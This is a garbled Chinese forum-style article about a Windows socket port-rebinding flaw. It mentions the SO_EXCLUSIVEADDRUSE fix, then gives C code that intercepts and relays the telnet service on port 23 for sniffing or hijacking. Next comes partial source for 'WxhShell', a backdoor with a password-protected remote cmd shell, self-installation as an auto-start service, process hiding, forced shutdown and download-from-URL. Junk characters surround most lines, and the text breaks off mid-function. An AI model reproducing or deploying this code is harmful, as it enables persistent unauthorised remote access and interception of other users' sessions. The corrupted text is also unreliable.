在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&Z^(y}jPr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:}}%#/nd !PUZWO saddr.sin_family = AF_INET;
+Ic ~ f1zh x~DLW1I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y-aRXF=W m@G i6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
t'qL[r%? )0 Z! n 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
gBw^,)Q{0Y U>qHn'M 这意味着什么?意味着可以进行如下的攻击:
H=c`&N7E #J\rv' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
p3951-D |i%2%V#
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
qa'gM@] :<S<f% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
HTjkR*E hUpnI@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[a1jCo }^ FulsC 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Gpj* V|J [:;# ]? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
K`%tGVY uXZg1F) 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&m^@9E)S/ fC-P.:F#I #include
$9!D\N,}]C #include
XFwLz #include
"9y(
} #include
Kyg=$^{>G DWORD WINAPI ClientThread(LPVOID lpParam);
Bik*b)9y2 int main()
X$?3U! {
6cS>bl WORD wVersionRequested;
+ =$ DWORD ret;
"?}uQ5f WSADATA wsaData;
/#LW"4;* BOOL val;
?}p:J{ SOCKADDR_IN saddr;
9/ovKpY SOCKADDR_IN scaddr;
N#xG3zZl|N int err;
4\otq%Y SOCKET s;
Q+q,!w8 SOCKET sc;
IND ]j72 int caddsize;
TbVn6V' HANDLE mt;
{jKI^aC<[ DWORD tid;
%D}H|*IPu wVersionRequested = MAKEWORD( 2, 2 );
4$6T+i2E
err = WSAStartup( wVersionRequested, &wsaData );
f2I6!_C!+ if ( err != 0 ) {
_`-1aA&n~ printf("error!WSAStartup failed!\n");
_D7 ]-3uC! return -1;
k0z&v < }
_~'+Qe_o$5 saddr.sin_family = AF_INET;
xG2F!WeF &}6KPA; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
XL}"1lE CO+/.^s7}S saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cu!W4Ub< saddr.sin_port = htons(23);
_Xcn
N:Rt if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=}!Mf' {
|J5 =J printf("error!socket failed!\n");
c"tJld5F_ return -1;
2.e
vx }
&[mZD, val = TRUE;
}R4c //SO_REUSEADDR选项就是可以实现端口重绑定的
6.1)IQkO if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>x1p%^cA;= {
y@V_g' printf("error!setsockopt failed!\n");
|]=2 }%1w return -1;
$
<8~k^ }
w~R`D //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|R/.r_x,V? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"Ml&[Oge //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
tvKAIwe ![6EUMx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;TiUpg</_3 {
~ (On|h ret=GetLastError();
g9fq5E<G printf("error!bind failed!\n");
K0+.q?8D| return -1;
&QX`NO6 }
Q;Wj?8} listen(s,2);
#:x4DvDkR while(1)
G$zL)R8GE| {
_?voU caddsize = sizeof(scaddr);
'|>9C^E9X //接受连接请求
[k$*4u> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-D^A:}$ if(sc!=INVALID_SOCKET)
J<gJc*Q {
Lw7=+h) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
gy:%l if(mt==NULL)
AwUi+|7r]) {
,tH5e&=U01 printf("Thread Creat Failed!\n");
G.'+-v=\] break;
H1"q }
1' v5/ }
@Y,7'0U CloseHandle(mt);
-m=
8&B }
8N%Bn& closesocket(s);
%%ae^*[!n WSACleanup();
2 !"
XzdD return 0;
{yU+)t(. }
U_l'3oPJw DWORD WINAPI ClientThread(LPVOID lpParam)
8x{B~_~ {
,5Pl\keY SOCKET ss = (SOCKET)lpParam;
{+<P:jbz; SOCKET sc;
fEE
/-}d unsigned char buf[4096];
gnp~OVDqfL SOCKADDR_IN saddr;
1=7jz]t long num;
>N\0"F7. DWORD val;
^taBG3P DWORD ret;
\o-&f: //如果是隐藏端口应用的话,可以在此处加一些判断
d1@%W;qX! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
IPSF]"}~ saddr.sin_family = AF_INET;
\AUI|M;' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
R2L;bGI*J saddr.sin_port = htons(23);
2jsw"aHW if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
CBQhIvq.d {
d%I"/8-J printf("error!socket failed!\n");
(KZHX5T= return -1;
o`zr> }
R`";Z$~{ val = 100;
?; YC'bF if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8l?piig# {
&bz:K8c ret = GetLastError();
v1k)hFjPK return -1;
@=]~\[e\ }
V~ ~=Qp+. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
rdnno {
-"Y{$/B ret = GetLastError();
]u-]'P return -1;
3bqC\i^[\m }
GBFw+v/|4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
*?+V65~dW {
9%ii '{ printf("error!socket connect failed!\n");
<D&)OxEn\ closesocket(sc);
LNl#h closesocket(ss);
TvNY:m6.% return -1;
MC0TaP }
fl
Jp4-nx while(1)
`6y{.$ z {
-S,ln //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
IvpcSam' //如果是嗅探内容的话,可以再此处进行内容分析和记录
\ 6EKgC1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
$qF0ltUQ num = recv(ss,buf,4096,0);
7f<EoSK if(num>0)
cH<q:OYi send(sc,buf,num,0);
lT\a2.E else if(num==0)
4$/i%B#ad break;
.0 u/|Yx num = recv(sc,buf,4096,0);
d0hhMx6$ if(num>0)
;v17K send(ss,buf,num,0);
Nf3.\eR else if(num==0)
T9 <2A1 break;
T{]~07N? }
r4x3$M c closesocket(ss);
M,j(=hRJ/E closesocket(sc);
Vh3Ijn return 0 ;
RUCPV[{b }
Rj~ x#~ x;) @ZN^1?][ ==========================================================
C
]Si|D @4%L36k 下边附上一个代码,,WXhSHELL
A392=:N+Q %2'A
pp ==========================================================
SUWD]k >PH }],Z;: #include "stdafx.h"
*?QE2&S: Z') pf #include <stdio.h>
)Fd
HV;K #include <string.h>
l5Y/Ok0, #include <windows.h>
#8{F9w<Rf #include <winsock2.h>
,3v+PIcMM+ #include <winsvc.h>
g#NZ ,~ #include <urlmon.h>
X.ONa_ T0Yiayt #pragma comment (lib, "Ws2_32.lib")
<
`qRA] #pragma comment (lib, "urlmon.lib")
NRnRMY- ~/_9P Fk #define MAX_USER 100 // 最大客户端连接数
qLncn}oNM #define BUF_SOCK 200 // sock buffer
, xx6$uZ #define KEY_BUFF 255 // 输入 buffer
oq-<ob #5sD{:f` #define REBOOT 0 // 重启
;TQf5|R\K #define SHUTDOWN 1 // 关机
l=`L7| ^/d {P8[X@Lu #define DEF_PORT 5000 // 监听端口
A6<C-1
N}j RO\gax #define REG_LEN 16 // 注册表键长度
"`}~~.q #define SVC_LEN 80 // NT服务名长度
/|{,sWf2 6
y"-I!& // 从dll定义API
+&tgJ07A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-@^Zq} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Ap&)6g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
`T/~.`R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]u-SL md TAL/a*7\ // wxhshell配置信息
fkfZ>D^1 struct WSCFG {
"Z,q?F c int ws_port; // 监听端口
hf!|\f char ws_passstr[REG_LEN]; // 口令
R~L0{`
0 int ws_autoins; // 安装标记, 1=yes 0=no
~:;3uLs,8 char ws_regname[REG_LEN]; // 注册表键名
JnD{J`: char ws_svcname[REG_LEN]; // 服务名
<j}lp- char ws_svcdisp[SVC_LEN]; // 服务显示名
!=Y;h[J.p char ws_svcdesc[SVC_LEN]; // 服务描述信息
XA0(f* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
9D@$i<D: int ws_downexe; // 下载执行标记, 1=yes 0=no
?<X(]I.j char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6XEZ4QP} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1,2EhfX|s D| I Ec? };
@mw "W{ -y) ,Y
| // default Wxhshell configuration
<dA8
'7^ struct WSCFG wscfg={DEF_PORT,
gLD`wfZR "xuhuanlingzhe",
NQTnhiM7$ 1,
h>S[^
-, "Wxhshell",
[c K^+s)N "Wxhshell",
ske@uzAz "WxhShell Service",
:L?_Y/K "Wrsky Windows CmdShell Service",
&Y|Xd4: "Please Input Your Password: ",
HgBJf~q~U 1,
xtV[p4U "
http://www.wrsky.com/wxhshell.exe",
hPm>tV2X "Wxhshell.exe"
4Tzd; P6_ };
F
SMj (Ha@s^?.C // 消息定义模块
l1_X(Z._V char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e]+OO
g& char *msg_ws_prompt="\n\r? for help\n\r#>";
_68BP)nz>. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0V,Nv9!S char *msg_ws_ext="\n\rExit.";
1V&PtI3!! char *msg_ws_end="\n\rQuit.";
8"'x)y char *msg_ws_boot="\n\rReboot...";
H(u+#PIIw char *msg_ws_poff="\n\rShutdown...";
tgFJZA char *msg_ws_down="\n\rSave to ";
jjOgG-Q O0~vf[i]; char *msg_ws_err="\n\rErr!";
bPD)D'Hs char *msg_ws_ok="\n\rOK!";
6o3T;h JXQPT char ExeFile[MAX_PATH];
0O@_cW int nUser = 0;
IY(h~O HANDLE handles[MAX_USER];
:1fagaPg int OsIsNt;
M.%shrJ/ u4'z$>B SERVICE_STATUS serviceStatus;
AMlV%U# SERVICE_STATUS_HANDLE hServiceStatusHandle;
@Z(rgF{{ O;XG^s@5 // 函数声明
6k0^ x Q int Install(void);
HQVh+ ( int Uninstall(void);
GKtS6$1d# int DownloadFile(char *sURL, SOCKET wsh);
3><u*0qe%I int Boot(int flag);
*$,+`+ void HideProc(void);
mMw;0/n int GetOsVer(void);
E{^^^"z P int Wxhshell(SOCKET wsl);
kl7A^0Qrz void TalkWithClient(void *cs);
J%v5d*$. int CmdShell(SOCKET sock);
/lD?VE int StartFromService(void);
66:ALFwd7 int StartWxhshell(LPSTR lpCmdLine);
[,f)9v) 2hOPzv&B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1$LI px VOID WINAPI NTServiceHandler( DWORD fdwControl );
is#8R:7.: q^Tis>*u6 // 数据结构和表定义
Df=q-iq<{/ SERVICE_TABLE_ENTRY DispatchTable[] =
?C;JJ#Ho {
F|eu<^"$ H {wscfg.ws_svcname, NTServiceMain},
Fj=NiZ= {NULL, NULL}
:,F=w0O };
Jp]T9W\ Npa-$N&P{S // 自我安装
0n5UKtB int Install(void)
%W;u}` {
YFx=b!/s char svExeFile[MAX_PATH];
*T4ge|zUc HKEY key;
3%IWGmye4 strcpy(svExeFile,ExeFile);
Zoow*`b|$U T-P@u-DU // 如果是win9x系统,修改注册表设为自启动
<o@ )SD~K if(!OsIsNt) {
@hT;Bo2G] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<xF?~7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ryEvmWYu RegCloseKey(key);
c!D> {N
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k,]{NO
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jOl 1_ RegCloseKey(key);
bj.]o*u- return 0;
s^PmnFR }
^<9)"9)m_ }
cdsQ3o }
M(S{1|,V else {
l$`G:%qHj r}@< K // 如果是NT以上系统,安装为系统服务
LW?2}`+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
CjZ6NAHc if (schSCManager!=0)
Kq6qXc\x {
}85#[~m' SC_HANDLE schService = CreateService
mh8nlB (
m){&:Hs schSCManager,
6SAQDE wscfg.ws_svcname,
`w=!o.1 wscfg.ws_svcdisp,
+-k`x0v SERVICE_ALL_ACCESS,
&|] Fg5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$y4M#yv SERVICE_AUTO_START,
bVOO) SERVICE_ERROR_NORMAL,
fW[.r== Kf svExeFile,
9oD#t~+F4 NULL,
I)uASfT$ NULL,
2 ^ kn5 NULL,
Sl~C0eO NULL,
{lKEZirO NULL
Ug` );
P#9-bYNU if (schService!=0)
[M2Dy{dh {
pb=HVjW< CloseServiceHandle(schService);
T/3;NXe6E CloseServiceHandle(schSCManager);
Xa6qvg7/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,XP@ pi strcat(svExeFile,wscfg.ws_svcname);
KKMWD\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
],#ZPUn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
C890+(D~ RegCloseKey(key);
Ut=0~x.=< return 0;
F6h/0i }
B)(w%\M4^ }
zkvH=wL CloseServiceHandle(schSCManager);
n/:Z{ }
_c,&\ wl$ }
&<OMGGQ[h ^&e;8d|f{ return 1;
7{8)ykBU^ }
]dQZ8yVK SwQOFE/Dv~ // 自我卸载
;vZ*,q6 int Uninstall(void)
P}b Dn; {
M |aQ)ivh3 HKEY key;
;2 \<M6 ]oo|o1H87 if(!OsIsNt) {
m}sh I8S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
f2 VpeJ<p RegDeleteValue(key,wscfg.ws_regname);
HM;4=% RegCloseKey(key);
yzODF>KJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_p?I{1O RegDeleteValue(key,wscfg.ws_regname);
AZ]Z,s6 RegCloseKey(key);
&7JEb]1C return 0;
%Gnd"SGs }
1"N/ZKF-x }
,(zcl$A[ }
h/w] else {
K>`m_M"LA i]V
F'tG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
S;G"L$&\ if (schSCManager!=0)
w`2_6[,9 {
w?*'vF_2:# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3ytx"=B% if (schService!=0)
m3 x!*9h {
' h0\4eu if(DeleteService(schService)!=0) {
=aX1:Z CloseServiceHandle(schService);
Z%(Df3~gmm CloseServiceHandle(schSCManager);
EVby 9! return 0;
ZC>`ca }
m(Pz7U.Q CloseServiceHandle(schService);
_&6juBb }
>c~9wv CloseServiceHandle(schSCManager);
iGpK\oH }
_CYmG"mY }
0$Qn#K ([z<TS#Md return 1;
c9>8IW }
1D#T+t`[ |^>L`6uo // 从指定url下载文件
@8}-0c int DownloadFile(char *sURL, SOCKET wsh)
aH~x7N6! {
S.?\>iH[ HRESULT hr;
@p?b"?QaB char seps[]= "/";
98<bF{#0WM char *token;
rZwf%} char *file;
MC[`<W)u char myURL[MAX_PATH];
#Q!c42}M char myFILE[MAX_PATH];
c+YYM
:S D:S6Mu strcpy(myURL,sURL);
JCQx8;V%I token=strtok(myURL,seps);
_
cHV3cz while(token!=NULL)
fS'k;r*r {
(PE8H~d file=token;
9|?(GG token=strtok(NULL,seps);
T5X'D(\| }
R-0_226 ~ L i% GetCurrentDirectory(MAX_PATH,myFILE);
ft.}$8vIT strcat(myFILE, "\\");
,sQ0atk7ma strcat(myFILE, file);
HnYFE@Nl:U send(wsh,myFILE,strlen(myFILE),0);
bo?3E +B send(wsh,"...",3,0);
d~xU?)n) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$=S'#^Z if(hr==S_OK)
J7 zVi return 0;
UVQ a
af else
3
MI ) E return 1;
HK,G8:T 3T.M?UG> }
AcfkY m~ y9l.i@-
// 系统电源模块
4jyr\=42F' int Boot(int flag)
8bKWIN g_n {
|
9\7xT HANDLE hToken;
7! A%6 TOKEN_PRIVILEGES tkp;
,VcDvZ7 U!-+v:SF if(OsIsNt) {
gPhw.e"" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$y]||tX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/B#lju! tkp.PrivilegeCount = 1;
e7)%=F/) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<:yq~? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p9] 7g% if(flag==REBOOT) {
j*Wh;I+h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
BC0c c[x return 0;
h9OL%n 7m' }
ek.WuOs else {
Z!=Pc$? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]OCJ~Zw return 0;
j7HlvoZV }
6+f>XL#w }
TWR#MVMI else {
X!A]V:8dk if(flag==REBOOT) {
$CYpO}u# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
L)nVpqm return 0;
q?]@' ^:; }
f/WM}Hpj else {
R&|)y:bg| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
MHT,rqG return 0;
E["t Ccg }
P)j9\ muc }
;F]|HD9 HtXBaIl\ return 1;
*Wo$$T }
/$.vHt5nt '<W,-i // win9x进程隐藏模块
4bJ2<j void HideProc(void)
?;#3U5$v {
~JRuMP GTIfrqT HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
IEr`6|X if ( hKernel != NULL )
y<x_v )k- {
64?$TT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
DW%K'+@M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
A_*Lo6uII FreeLibrary(hKernel);
|b@A:8ss }
oYm{I ~" e4H0<h
}{ return;
>W]"a3E }
KXbYv62 wQuaB6E // 获取操作系统版本
F*( A; N_y int GetOsVer(void)
.lj! ~_ {
4k?JxA) OSVERSIONINFO winfo;
N$a-i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@`*YZq>p GetVersionEx(&winfo);
@' :um if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
eKti+n. return 1;
\R6T"U else
Ywk[VD+. return 0;
%=O!K>^vt< }
0bL=l0N$W >#n-4NZ;p9 // 客户端句柄模块
(s*Uz3sq int Wxhshell(SOCKET wsl)
qa`(,iN {
7Bd_/A($ SOCKET wsh;
V+ ~2q= struct sockaddr_in client;
$,#IPoi~X DWORD myID;
^52R`{ P2RL\`<" while(nUser<MAX_USER)
oOSyOD {
*G|]5 int nSize=sizeof(client);
D)cwttH wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
< io8
b|A if(wsh==INVALID_SOCKET) return 1;
%D0Ws9:| +Z(VWu6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
E004"E<E if(handles[nUser]==0)
.[85<"C closesocket(wsh);
' *C)S else
Yaepy3F nUser++;
wf$ JuHPt }
y~1php>2f1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Fa^]\: ZWEzL$VWi return 0;
ub&29Qte }
hKeh9 Bt :?W:'% (`[ // 关闭 socket
Hf|:A(vCx void CloseIt(SOCKET wsh)
lB@K;E@r8 {
D$
z!wV closesocket(wsh);
$>m<+nai' nUser--;
Vk
T3_f ExitThread(0);
9oz)E>K4f }
jK1!
\j JwVv+9hh // 客户端请求句柄
1D]wW%us void TalkWithClient(void *cs)
n8,/olqwW {
&p/k VM IW*.B6Hw8 SOCKET wsh=(SOCKET)cs;
U%l{>*q char pwd[SVC_LEN];
v0H#\p char cmd[KEY_BUFF];
tgnXBWA`! char chr[1];
\C|06Bs$
int i,j;
XE\bZc "rJL ^ \r while (nUser < MAX_USER) {
Vtri"G8 aB inrL'z if(wscfg.ws_passstr) {
8^T$6A[b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w+H=Xh4t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|05LHwb> //ZeroMemory(pwd,KEY_BUFF);
S0yT%V i=0;
&Y$rVBgQ while(i<SVC_LEN) {
en)DN3 :{2$X|f
3 // 设置超时
Gx)D~7lz fd_set FdRead;
SYx)!n6U struct timeval TimeOut;
0g\&3EvD FD_ZERO(&FdRead);
=c'LG FD_SET(wsh,&FdRead);
XF6=xD TimeOut.tv_sec=8;
&h-1Z} TimeOut.tv_usec=0;
HDOa N int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
GS%Dn^l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
LX'US-B.! k@'.d)y0` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
X(9Ff=0.~ pwd
=chr[0]; 107SXYdhI
if(chr[0]==0xd || chr[0]==0xa) { :nt%z0_
pwd=0; hyp`6?f
break; ?~Des"F6)1
} +FR"Gt$g
i++; hV)I
C9
} ;z#9>99rH
\N)FUYoHg
// 如果是非法用户,关闭 socket |%} ?*|-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L~~aW0,
} PhQD}|S
Yu=^`I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2StpcAlU}
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B$G8,3 ,:
M<729M
while(1) { 1N&U{#4
gqhW.e}]
ZeroMemory(cmd,KEY_BUFF); `}bUf epMJ
6`i'
// 自动支持客户端 telnet标准 [Zf<r1m
j=0; @N$r'@
while(j<KEY_BUFF) { T7v8}_"-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8"@<s?0\"
cmd[j]=chr[0]; -:QyWw/d
if(chr[0]==0xa || chr[0]==0xd) { h$!qb'|
cmd[j]=0; T]xGE
break; (bw;zNW
} LLE~V~j
j++; ! 9e>J
} TsD
>m
O]>Or3oO
// 下载文件 Dj|S
if(strstr(cmd,"http://")) { ;WhB2/5v
send(wsh,msg_ws_down,strlen(msg_ws_down),0); v#6.VUAw
if(DownloadFile(cmd,wsh)) $#!~K2$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `'>>[*06:a
else U;31}'b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~?p
> L
} P/_XDP./U
else { cE3co(j
b&ADj8cKC
switch(cmd[0]) { PyoLk
~q/`Z)(yc
// 帮助 Z`
Aiw."|
case '?': { `8Om*{xg
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *-n$n
break; t!~mbx+
} !>+
0/
// 安装 njIvVs`q
case 'i': { *D'VW{
if(Install()) N&n{R8=^"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^mGT ZxO
else XH. _Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7yc:=^ )
break; b"gYNGgX
} K+7xjFoDIR
// 卸载 ^8 z*f&g
case 'r': { Y}Ov`ZM!r
if(Uninstall()) E>ev /6ox
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kq1sGk
else bi5'- .B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iCHZ{<k
break; c(~M<nL0
} FrVD~;
// 显示 wxhshell 所在路径 QCjmg5bf'7
case 'p': { B<oi,S
char svExeFile[MAX_PATH]; F[+sc Mx!G
strcpy(svExeFile,"\n\r"); Op|Be
strcat(svExeFile,ExeFile); )FB)ZK ;
send(wsh,svExeFile,strlen(svExeFile),0); :S%|^QAN
break; mr;WxxO5
} $Fo ,$
// 重启 O`2%@%?I
case 'b': { Ah"RxA
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K<t(HK#[
if(Boot(REBOOT)) ~E)I+$,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bi_R.sfK&
else { hP|5q&wX
closesocket(wsh); /E*P0y~KTW
ExitThread(0); B}3s=+L@8
} gKPV*
break; lr|-_snx2
} s2tEyR+gW
// 关机 >s{[d$
case 'd': { ve>8vw2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rsIjpPa
if(Boot(SHUTDOWN)) FY
VcL*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4iKT
else { .
E.OBn
closesocket(wsh); O[N{&\$
ExitThread(0); "c}bqoN
} 3Y=S^*ztd
break; oc15!M3$
} `T mIrc
// 获取shell \h"s[G zq
case 's': { s*S@}l
CmdShell(wsh); M+ H$Jjcs
closesocket(wsh); +xWT)h/
ExitThread(0); Y H?>2u
break; &)wQ|{P~k
} upX/fLc
// 退出 ?.4u'Dkn=
case 'x': { `;`34t_)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8sL7p4
CloseIt(wsh); ' rXkTm1{
break; 9'T(Fc
} te:@F]A
// 离开 &3AGj,
case 'q': { WJ
mj|$D
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /423!g0Q
closesocket(wsh); DTJ~.
WSACleanup(); [ jafPi(#g
exit(1); C=.
break; 9<xe%V=ki
} oW-luC+
} `f b}cJUa
} d/|@"z^?
or(Z-8a_
// 提示信息 ZZ4W?);;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /Cwt4.5
} ]0\8g=KK
} Iy"
}bHdU]$}
return;
}mX;0qO
} iS02uVmBZ
lPx4I
// shell模块句柄 UP#]n
69y
int CmdShell(SOCKET sock) dGZVWEaPfx
{ xH*OEzN
STARTUPINFO si; %vMi
kibI
ZeroMemory(&si,sizeof(si)); ][D<J0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [<bfwTFsl
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M)Y`u
PROCESS_INFORMATION ProcessInfo; }`>u+iH#a
char cmdline[]="cmd"; WtdWD_\%Y\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0gxbo
return 0; VNaa(Q
} 27gK
Y
Zf;
bp;)*
// 自身启动模式 MX
qH
int StartFromService(void)
}9{6{TD
{ ;clF\K>
typedef struct {cC9
}w
{ Gv3a<Knn4
DWORD ExitStatus; G{YLyl/9
DWORD PebBaseAddress; ^-mz!{
DWORD AffinityMask; irpO(>LK
